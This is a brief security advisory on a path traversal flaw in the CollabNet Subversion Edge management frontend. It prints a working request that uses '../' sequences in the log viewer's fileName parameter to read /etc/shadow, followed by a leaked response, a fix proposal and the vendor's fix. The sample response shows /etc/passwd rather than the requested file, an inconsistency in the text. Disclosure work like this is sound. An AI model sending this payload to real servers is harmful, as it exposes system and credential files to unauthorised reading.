Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the show action

Vulnerability:

   Request:
           GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1
          Host: example.com:4434

        Response:
          HTTP/1.1 200 OK
            [...]
              <div class="span3">../../../../../../etc/passwd</div>
                [...]
              root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.
